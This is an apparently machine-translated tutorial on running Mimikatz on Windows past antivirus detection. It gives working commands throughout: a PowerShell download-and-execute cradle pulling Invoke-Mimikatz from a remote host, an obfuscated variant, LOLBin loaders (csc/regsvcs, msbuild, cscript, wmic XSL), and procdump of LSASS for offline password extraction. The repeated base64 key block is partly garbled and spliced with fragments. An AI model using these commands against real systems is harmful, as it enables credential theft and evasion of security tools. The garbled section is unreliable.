Several Methods to Run Mimikatz

Mimikatz is an artifact that can obtain memory from the Windows Authentication (LSASS) process, and obtain plaintext passwords and NTLM hashes. Mimikatz is commonly used in intranet penetration to obtain plaintext passwords or hash values ​​to roam the intranet. However, in actual application, we often encounter the interception of killing soft, so here I refer to the information on the Internet to conduct recurring learning to achieve the purpose of avoiding killing bypass. Some methods have not been reproduced without success. I have not written them out, and some methods seem to be blocked afterwards.

Posture 1: powershell

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

Executed under cmd, 360 without interception

powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"


powershell operation will be blocked

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.30.139/Invoke-Mimikatz.ps1');Invoke-Mimikatz

Simple confusion is still blocked

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.30'+'.139/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

Posture 2: Use .net2.0 to avoid mimikatz

First download katz.cs and place it in the Framework directory of the corresponding system version

32位:C:\Windows\Microsoft.NET\Framework\v2.0.50727 64位:C:\Windows\Microsoft.NET\Framework64\v2.0.50727

Then execute the command in powershell to generate key.snk

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4 + RhbdWHp99y8QhwRllOC0qu / WxZaffHS2te / PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t + vyvZuHNmAy3pX0BDXqwEfoZZ + hiIk1YUDSNOE79zwnpVP1 + BN0PK5QCPCS + 6zujfRlQpJ + nfHLLicweJ9uT7OG3g / P + JpXGN0 / + Hitolufo7Ucjh + WvZAU // dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5 + o8OhujBHDm / ZQ0361mVsSVWrmgDPKHGGRx + 7FbdgpBEq3m15 / 4zzg343V9NBwt1 + qZU + TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX / $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4 = ' $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte 


Finally generate mimikatz, then run

32-bit:

C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\regsvcs.exe katz.exe

64-bit:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework64\v2.0.50727>.\regsvcs.exe katz.exe


Unfortunately, it was discovered by 360 again

However, Tinder passed again without a hint

Posture 3: js loading mimikatz

Download katz.js and execute

cscript mimikatz.js


360 interception, but Tinder passed, no response

Posture four: .net4.0 loading mimikatz

Download mimikatz.xml and execute

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 msbuild.exe mimikatz.xml

Over 360 and no interception
 Tinder also failed to report

Posture five: Xsl version of Jscript

Download mimikatz.xsl

Load locally

wmic os get /format:"mimikatz.xsl"

360, Tinder did not intercept

Posture six: export the lsass process to read the password offline

mimikatz + procdump

Download prodump , run with administrator privileges

procdump64.exe -accepteula -ma lsass.exe 1.dmp

You can also export files in Task Manager

Then export the dmp file locally to read the password using mimikatz

mz64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit


It should be noted here that the password capture method under win10 is not the same, specifically see another article: Windows10 clear text password capture.
After getting the dmp file under win7, you can directly export and read the plaintext password.

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